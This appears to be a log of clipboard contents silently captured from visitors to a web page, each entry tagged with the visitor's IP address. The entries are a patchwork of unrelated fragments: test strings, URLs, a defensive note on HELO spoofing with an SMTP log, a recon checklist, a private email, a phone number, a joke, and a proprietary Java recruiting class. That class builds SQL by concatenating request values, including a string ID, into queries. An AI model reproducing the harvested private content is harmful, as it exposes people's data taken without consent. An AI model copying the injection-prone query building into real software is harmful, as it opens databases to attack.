REMOTE_ADDR = 68.156.61.185 session is open ------------------------------------------------- REMOTE_ADDR = 193.120.94.169 aaa ------------------------------------------------- REMOTE_ADDR = 203.195.210.53 aaaaaaaa ------------------------------------------------- REMOTE_ADDR = 81.64.153.227 your clipboard when ------------------------------------------------- REMOTE_ADDR = 81.64.153.227 below you didn't have any text in your clipboard when you were on the previous page or you are not using IE) Your clipboard currently contains ------------------------------------------------- REMOTE_ADDR = 203.122.213.14 regerge ------------------------------------------------- REMOTE_ADDR = 203.122.213.14 OK so here's what i go ton clipboard ------------------------------------------------- REMOTE_ADDR = 193.188.110.66 sdjfjkl ------------------------------------------------- REMOTE_ADDR = 213.224.83.78 teststss ------------------------------------------------- REMOTE_ADDR = 212.30.68.136 4 ------------------------------------------------- REMOTE_ADDR = 80.231.159.51 when you were on the previous ------------------------------------------------- REMOTE_ADDR = 80.231.159.51 previous ------------------------------------------------- REMOTE_ADDR = 81.156.143.64 anything below ------------------------------------------------- REMOTE_ADDR = 81.156.143.64 don't see anything below ------------------------------------------------- REMOTE_ADDR = 83.157.48.126 a ------------------------------------------------- REMOTE_ADDR = 83.157.48.126 looool ------------------------------------------------- REMOTE_ADDR = 83.157.48.126

title

------------------------------------------------- REMOTE_ADDR = 82.119.80.137 1111 ------------------------------------------------- REMOTE_ADDR = 82.119.80.137 zxm,cv,xzcmn, ------------------------------------------------- REMOTE_ADDR = 222.64.161.43 http://chinese.wsj.com/gb/index.asp ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.64.161.43 on-the-fly ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 Refresh this by clicking here NOT by hiting F5 or shift refresh (If you don't see anything below you didn't have any text in your clipboard when you were on the previous page or you are not using IE) Your clipboard currently contains: -------------------------------------------------------------------------------- http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 222.65.47.248 Refresh this by clicking here NOT by hiting F5 or shift refresh (If you don't see anything below you didn't have any text in your clipboard when you were on the previous page or you are not using IE) Your clipboard currently contains: -------------------------------------------------------------------------------- http://news.gutx.com/2004-8-28/12672.htm ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 1 ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 1 ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 1 ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 2 ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 2 ------------------------------------------------- REMOTE_ADDR = 213.36.39.8 2 ------------------------------------------------- REMOTE_ADDR = 200.226.5.151 ------------------------------------------------- REMOTE_ADDR = 200.226.5.151 sd ------------------------------------------------- REMOTE_ADDR = 212.144.157.78 ------------------------------------------------- REMOTE_ADDR = 212.144.157.78 ------------------------------------------------- REMOTE_ADDR = 212.144.157.78 guten tag ------------------------------------------------- REMOTE_ADDR = 68.98.184.254 ------------------------------------------------- REMOTE_ADDR = 68.98.184.254 test123 ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 213.11.58.163 javascript:history.go(-1); ------------------------------------------------- REMOTE_ADDR = 64.32.203.162 ------------------------------------------------- REMOTE_ADDR = 64.32.203.162 a ------------------------------------------------- REMOTE_ADDR = 64.32.203.162 a ------------------------------------------------- REMOTE_ADDR = 200.116.39.193 fgsd ------------------------------------------------- REMOTE_ADDR = 64.6.142.183 This is a technique which attempts to poison the SpamCop blacklists. It appears to have become especially prevalent in the past few days. A spamming host will HELO to your MDaemon server as your IP address. For example, under Active connections, Remote Host, it will show your own IP address, and in the logs, the server will show something like the below excerpt. Let's say your MDaemon listens on 66.66.66.66. Note that the spammer's machine is connecting from 210.204.215.104, but it HELO's as 66.66.66.66. The way to beat this is to use MDaemon's Host Screening, found under the Security Menu...Address Suppression/IP Screening/Host Screening. Go to the Host Screening Tab, and add your own IP address to the Host Screening Tab as a HELO name to PREVENT connections from. Sending hosts should not HELO as your own IP address!!! Sun 2004-08-29 14:26:32: Session 3014; child 7; thread 3520 Sun 2004-08-29 14:26:31: Accepting SMTP connection from [210.204.215.104 : 2073] Sun 2004-08-29 14:26:31: Looking up PTR record for 210.204.215.104 (104.215.204.210.IN-ADDR.ARPA) Sun 2004-08-29 14:26:31: Name server reports domain name unknown Sun 2004-08-29 14:26:31: --> 220-MDaemon ESMTP MAIL Service, ready at Sun, 29 Aug 2004 14:26:31 -0500 Sun 2004-08-29 14:26:31: --> 220 MDaemon does not permit unsolicited bulk or commercial email. Sun 2004-08-29 14:26:32: <-- HELO 66.66.66.66 Sun 2004-08-29 14:26:32: --> 550 Domain ourdomain.tld does not accept mail from 66.66.66.66 Sun 2004-08-29 14:26:32: Error reading from socket! Sun 2004-08-29 14:26:32: Unexpected socket closure Sun 2004-08-29 14:26:32: SMTP session terminated (Bytes in/out: 20/228) ------------------------------------------------- REMOTE_ADDR = 64.6.142.183 This is a technique which attempts to poison the SpamCop blacklists. It appears to have become especially prevalent in the past few days. A spamming host will HELO to your MDaemon server as your IP address. For example, under Active connections, Remote Host, it will show your own IP address, and in the logs, the server will show something like the below excerpt. Let's say your MDaemon listens on 66.66.66.66. Note that the spammer's machine is connecting from 210.204.215.104, but it HELO's as 66.66.66.66. The way to beat this is to use MDaemon's Host Screening, found under the Security Menu...Address Suppression/IP Screening/Host Screening. Go to the Host Screening Tab, and add your own IP address to the Host Screening Tab as a HELO name to PREVENT connections from. Sending hosts should not HELO as your own IP address!!! Sun 2004-08-29 14:26:32: Session 3014; child 7; thread 3520 Sun 2004-08-29 14:26:31: Accepting SMTP connection from [210.204.215.104 : 2073] Sun 2004-08-29 14:26:31: Looking up PTR record for 210.204.215.104 (104.215.204.210.IN-ADDR.ARPA) Sun 2004-08-29 14:26:31: Name server reports domain name unknown Sun 2004-08-29 14:26:31: --> 220-MDaemon ESMTP MAIL Service, ready at Sun, 29 Aug 2004 14:26:31 -0500 Sun 2004-08-29 14:26:31: --> 220 MDaemon does not permit unsolicited bulk or commercial email. Sun 2004-08-29 14:26:32: <-- HELO 66.66.66.66 Sun 2004-08-29 14:26:32: --> 550 Domain ourdomain.tld does not accept mail from 66.66.66.66 Sun 2004-08-29 14:26:32: Error reading from socket! Sun 2004-08-29 14:26:32: Unexpected socket closure Sun 2004-08-29 14:26:32: SMTP session terminated (Bytes in/out: 20/228) ------------------------------------------------- REMOTE_ADDR = 64.6.142.183 This is a technique which attempts to poison the SpamCop blacklists. It appears to have become especially prevalent in the past few days. A spamming host will HELO to your MDaemon server as your IP address. For example, under Active connections, Remote Host, it will show your own IP address, and in the logs, the server will show something like the below excerpt. Let's say your MDaemon listens on 66.66.66.66. Note that the spammer's machine is connecting from 210.204.215.104, but it HELO's as 66.66.66.66. The way to beat this is to use MDaemon's Host Screening, found under the Security Menu...Address Suppression/IP Screening/Host Screening. Go to the Host Screening Tab, and add your own IP address to the Host Screening Tab as a HELO name to PREVENT connections from. Sending hosts should not HELO as your own IP address!!! Sun 2004-08-29 14:26:32: Session 3014; child 7; thread 3520 Sun 2004-08-29 14:26:31: Accepting SMTP connection from [210.204.215.104 : 2073] Sun 2004-08-29 14:26:31: Looking up PTR record for 210.204.215.104 (104.215.204.210.IN-ADDR.ARPA) Sun 2004-08-29 14:26:31: Name server reports domain name unknown Sun 2004-08-29 14:26:31: --> 220-MDaemon ESMTP MAIL Service, ready at Sun, 29 Aug 2004 14:26:31 -0500 Sun 2004-08-29 14:26:31: --> 220 MDaemon does not permit unsolicited bulk or commercial email. Sun 2004-08-29 14:26:32: <-- HELO 66.66.66.66 Sun 2004-08-29 14:26:32: --> 550 Domain ourdomain.tld does not accept mail from 66.66.66.66 Sun 2004-08-29 14:26:32: Error reading from socket! Sun 2004-08-29 14:26:32: Unexpected socket closure Sun 2004-08-29 14:26:32: SMTP session terminated (Bytes in/out: 20/228) ------------------------------------------------- REMOTE_ADDR = 64.6.142.183 This is a technique which attempts to poison the SpamCop blacklists. It appears to have become especially prevalent in the past few days. A spamming host will HELO to your MDaemon server as your IP address. For example, under Active connections, Remote Host, it will show your own IP address, and in the logs, the server will show something like the below excerpt. Let's say your MDaemon listens on 66.66.66.66. Note that the spammer's machine is connecting from 210.204.215.104, but it HELO's as 66.66.66.66. The way to beat this is to use MDaemon's Host Screening, found under the Security Menu...Address Suppression/IP Screening/Host Screening. Go to the Host Screening Tab, and add your own IP address to the Host Screening Tab as a HELO name to PREVENT connections from. Sending hosts should not HELO as your own IP address!!! Sun 2004-08-29 14:26:32: Session 3014; child 7; thread 3520 Sun 2004-08-29 14:26:31: Accepting SMTP connection from [210.204.215.104 : 2073] Sun 2004-08-29 14:26:31: Looking up PTR record for 210.204.215.104 (104.215.204.210.IN-ADDR.ARPA) Sun 2004-08-29 14:26:31: Name server reports domain name unknown Sun 2004-08-29 14:26:31: --> 220-MDaemon ESMTP MAIL Service, ready at Sun, 29 Aug 2004 14:26:31 -0500 Sun 2004-08-29 14:26:31: --> 220 MDaemon does not permit unsolicited bulk or commercial email. Sun 2004-08-29 14:26:32: <-- HELO 66.66.66.66 Sun 2004-08-29 14:26:32: --> 550 Domain ourdomain.tld does not accept mail from 66.66.66.66 Sun 2004-08-29 14:26:32: Error reading from socket! Sun 2004-08-29 14:26:32: Unexpected socket closure Sun 2004-08-29 14:26:32: SMTP session terminated (Bytes in/out: 20/228) ------------------------------------------------- REMOTE_ADDR = 24.79.134.108 http://www.neowin.net/ ------------------------------------------------- REMOTE_ADDR = 212.83.137.190 this was going to ------------------------------------------------- REMOTE_ADDR = 69.135.123.63 I would like input on every aspect of medieval arts and i would like people to let me know what they think. So i can make things more informational and useable for people new to the whole medieval arts. ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 number of visits to your Web site. The General Statistics table provides an overview of the activity for your Web site during the specified time frame. ------------------------------------------------- REMOTE_ADDR = 65.39.81.242 x ------------------------------------------------- REMOTE_ADDR = 65.39.81.242 Airport Taxi & Shuttle Information ------------------------------------------------- REMOTE_ADDR = 203.124.128.117 „X Check for merger information „X At the time of mergers, the chances of inappropriate security handling is higher „X Higher chances of social engineering „X Merged network may indulge some interesting information „X Check for recent activities „X Check for partner information ------------------------------------------------- REMOTE_ADDR = 202.54.11.186 I checked with Sanjay ------------------------------------------------- REMOTE_ADDR = 202.54.11.186 script ------------------------------------------------- REMOTE_ADDR = 202.54.11.186 veena deshmukh ------------------------------------------------- REMOTE_ADDR = 195.41.32.200 alastnin.nsf amnsoc.nsf astorgaa.nsf bestilenhe.nsf ------------------------------------------------- REMOTE_ADDR = 195.125.50.9 test ------------------------------------------------- REMOTE_ADDR = 216.41.41.75 below you didn't have any text in your ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 Hey – were you on vacation already? Not much going here, been working around the house, mainly yard work. My demands weren’t good? It would cost $3,500 per year just to get there, not including wear and tear and personal time. The difference in pay, less the extra cost would not be worth the commute hassle, as you can understand. However, if your office was in reading, it would be a different story. ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 Enables ClipBook Viewer to store information and share it with remote computers. If the service is stopped, ClipBook Viewer will not be able to share information with remote computers. If this service is disabled, any services that explicitly depend on it will fail to start. ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 just to get there, not including ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 ABPerformanceview ------------------------------------------------- REMOTE_ADDR = 64.242.240.2 calc ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 G. W. Bush and John Kerry somehow ended up at the same barbershop. As they sat there, each being worked on by a different barber, not a word was spoken. The barbers were even afraid to start a conversation for fear it would turn to politics. As the barbers finished their shaves, the one who had Kerry in his chair reached for the aftershave. Kerry was quick to stop him saying, "No thanks, my wife Theresa will smell that and think I've been in a whorehouse." The second barber turned to Bush and said, "How about you?" Bush replied, "Go ahead, my wife doesn't know what the inside of a whorehouse smells like." ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 Hell there ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 xczxzz v zcv z V z ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 Ulrich's Garage Rt 10, Reading 610-856-7050 ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 image ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 What if the hiring manager views the candidate a ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 image ------------------------------------------------- REMOTE_ADDR = 64.32.137.101 http://home.rsonline.tandy.com/Home/ ------------------------------------------------- REMOTE_ADDR = 194.179.83.88 ------------------------------------------------- REMOTE_ADDR = 194.179.83.88 ------------------------------------------------- REMOTE_ADDR = 194.179.83.88 adfec00r.doc ------------------------------------------------- REMOTE_ADDR = 207.17.47.140 marketplace.uchicago.edu ------------------------------------------------- REMOTE_ADDR = 63.172.244.130 package com.bat.hr.recruiter.jsp.actions; import java.io.*; import java.util.*; import java.sql.ResultSet; import javax.servlet.http.*; import javax.servlet.*; import java.lang.reflect.*; import com.bat.hr.recruiter.*; import com.bat.hr.recruiter.db.*; import com.bat.hr.recruiter.jsp.*; import com.bat.hr.recruiter.jsp.i18n.MessageResources; import com.bat.hr.recruiter.servlets.*; import com.bat.hr.recruiter.servlets.Constants; import com.bat.hr.recruiter.servlets.config.MessageContext; import com.bat.hr.recruiter.servlets.utils.multipartrequest.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.ServletInputStream; /** *

Title:

*

Description:

*

Copyright: Copyright (c) 2003

*

Company:

* @Vijay k Bandapelli * @version 1.0 */ public class ApplicantQueryAction extends GenericAction { private final int PID_ASSESSMENT_THRESH_HOLD = 0; //private String retSQLQuery = ""; public ApplicantQueryAction() { } public String getActiveApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition) throws Exception { return getActiveApplicantQuery(lContext,bForStore,IJobRequisition, "-1"); } public String getPooledApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition) throws Exception { return getPooledApplicantQuery(lContext,bForStore,IJobRequisition, "-1"); } public String getTotalApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition) throws Exception { return getTotalApplicantQuery(lContext,bForStore,IJobRequisition, "-1"); } public String getUnViewedApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition) throws Exception { return getUnViewedApplicantQuery(lContext,bForStore,IJobRequisition, "-1"); } public String getActiveApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) throws Exception { String retSQLQuery = ""; if (!bForStore) { //retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE JA.JOB_REQUISITION_NUMBER = CT.JOB_REQUISITION_NUMBER AND JA.USER_ID = CT.CANDIDATE_ID AND "; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE JA.USER_ID = CT.CANDIDATE_ID AND "; retSQLQuery = retSQLQuery + " CT.PERCENT_CORRECT >= " + PID_ASSESSMENT_THRESH_HOLD + " AND CT.EXTERNAL_ID = 806 AND " ; retSQLQuery = retSQLQuery + " (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID NOT IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID() ; retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ")"; } else { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE "; //retSQLQuery = retSQLQuery + " CT.JOB_REQUISITION_NUMBER = JA.JOB_REQUISITION_NUMBER AND CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " AND CT.EXTERNAL_ID= " + iAssessChildID + " AND CT.NUMBER_CORRECT = 1 AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND ( JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND JA.CANDIDATE_START_DATE > SYSDATE )) "; retSQLQuery = retSQLQuery + " AND SYSDATE - ( SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID ) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID NOT IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID(); retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ")"; retSQLQuery = retSQLQuery + " UNION " ; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 AND JA.SUBMIT_USER_ID = " + lContext.getUser().getID(); retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID NOT IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID(); retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ")"; } //System.out.println("=====ActiveApplicantQuery = " + retSQLQuery + "====="); return retSQLQuery; } public int getActiveApplicantCount (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID ) throws Exception { String retSQLQuery = ""; retSQLQuery = "SELECT COUNT(*) FROM (" + getActiveApplicantQuery(lContext,bForStore,IJobRequisition,iAssessChildID) + " )"; //System.out.println("====Active applicant query = " + retSQLQuery + "====="); return getQueryRecordCount(lContext,retSQLQuery); } public String getUnViewedApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) throws Exception { String retSQLQuery = ""; if (!bForStore) { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE JA.JOB_REQUISITION_NUMBER = CT.JOB_REQUISITION_NUMBER AND JA.USER_ID = CT.CANDIDATE_ID AND "; retSQLQuery = retSQLQuery + " CT.PERCENT_CORRECT >= " + PID_ASSESSMENT_THRESH_HOLD + " AND CT.EXTERNAL_ID = 806 AND " ; retSQLQuery = retSQLQuery + " (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID() ; retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ")"; } else { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE "; retSQLQuery = retSQLQuery + " CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " AND CT.NUMBER_CORRECT = 1 AND CT.EXTERNAL_ID= " + iAssessChildID + " AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND ( JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND JA.CANDIDATE_START_DATE > SYSDATE )) "; retSQLQuery = retSQLQuery + " AND SYSDATE - ( SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID ) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID(); retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ") "; retSQLQuery = retSQLQuery + " UNION "; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; //retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND JA.SUBMIT_USER_ID = " + lContext.getUser().getID() ; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.USER_ID IN (SELECT CANDIDATE_USER_ID FROM BR_REVIEWED_JOB_CANDIDATES WHERE REVIEWER_USER_ID= " + lContext.getUser().getID(); retSQLQuery = retSQLQuery + " AND JOB_REQUISITION_NUMBER= " + IJobRequisition + ")" ; } // System.out.println( "----------- Un Viewed Applicant Query ---------" ); // System.out.println(retSQLQuery); // System.out.println( "----------- Un Viewed Applicant Query ---------" ); return retSQLQuery; } public int getUnViewedApplicantCount (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) throws Exception { String retSQLQuery = ""; retSQLQuery = "SELECT COUNT(*) FROM (" + getUnViewedApplicantQuery(lContext,bForStore,IJobRequisition,iAssessChildID) + " )"; return getQueryRecordCount(lContext,retSQLQuery); } public String getPooledApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition , String iAssessChildID) throws Exception { String retSQLQuery = ""; if (!bForStore) { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE "; retSQLQuery = retSQLQuery + " (JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND JA.CANDIDATE_START_DATE > SYSDATE )) AND "; retSQLQuery = retSQLQuery + " JA.JOB_REQUISITION_NUMBER != " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) > = 7 "; retSQLQuery = retSQLQuery + " AND BRFUNC_ZIPCODE_JOBCAND_K (JA.USER_ID, JA.JOB_REQUISITION_NUMBER, 25) = 'Y' "; retSQLQuery = retSQLQuery + " MINUS "; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.SUBMIT_USER_ID = " + lContext.getUser().getID() ; } else { retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA, BR_CANDIDATE_TESTS CT WHERE "; //retSQLQuery = retSQLQuery + " CT.JOB_REQUISITION_NUMBER = JA.JOB_REQUISITION_NUMBER AND CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " CT.CANDIDATE_ID = JA.USER_ID "; retSQLQuery = retSQLQuery + " AND CT.EXTERNAL_ID= " + iAssessChildID + " AND CT.NUMBER_CORRECT = 1 AND "; retSQLQuery = retSQLQuery + " JA.JOB_REQUISITION_NUMBER != " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; //retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; //retSQLQuery = retSQLQuery + " AND ((( JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) OR (JA.WORKFLOW_STATUS_ID=5 AND JA.CANDIDATE_START_DATE > SYSDATE )) "; retSQLQuery = retSQLQuery + " AND (( JA.WORKFLOW_STATUS_ID IN (1,8,1061,1060,2) "; retSQLQuery = retSQLQuery + " AND SYSDATE - ( SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID ) > 7 ) "; retSQLQuery = retSQLQuery + " OR (JA.WORKFLOW_STATUS_ID = 6 AND SYSDATE - ( SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID ) < = 30)) "; retSQLQuery = retSQLQuery + " AND BRFUNC_ZIPCODE_JOBCAND_K (JA.USER_ID, " + IJobRequisition + " , 25) = 'Y' "; retSQLQuery = retSQLQuery + " MINUS "; retSQLQuery = retSQLQuery + " SELECT JA.USER_ID FROM BR_JOB_APPLICATIONS JA WHERE (JA.WORKFLOW_STATUS_ID in(1,8,1061,1060,2,6) OR (JA.WORKFLOW_STATUS_ID=5 AND "; retSQLQuery = retSQLQuery + " JA.CANDIDATE_START_DATE > SYSDATE ) ) AND JA.JOB_REQUISITION_NUMBER = " + IJobRequisition + " AND JA.IS_QUALIFIED='Y' "; //retSQLQuery = retSQLQuery + " AND brfunc_approved_k(JA.USER_ID, JA.JOB_REQUISITION_NUMBER)='Y'"; retSQLQuery = retSQLQuery + " AND (SYSDATE - (SELECT MAX(DATE_CREATED) FROM BR_ACTIVITIES WHERE RELATED_CANDIDATE_ID = JA.USER_ID)) < = 7 "; retSQLQuery = retSQLQuery + " AND JA.SUBMIT_USER_ID = " + lContext.getUser().getID() ; } // System.out.println( "----------- Pooled Query ---------" ); // System.out.println(retSQLQuery); // System.out.println( "----------- Pooled Query ---------" ); return retSQLQuery; } public int getPooledApplicantCount (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) throws Exception { String retSQLQuery = ""; retSQLQuery = "SELECT COUNT(*) FROM (" + getPooledApplicantQuery(lContext,bForStore,IJobRequisition,iAssessChildID) + " )"; return getQueryRecordCount(lContext,retSQLQuery); } public String getTotalApplicantQuery (ActionContext lContext, boolean bForStore, int IJobRequisition, String iAssessChildID) 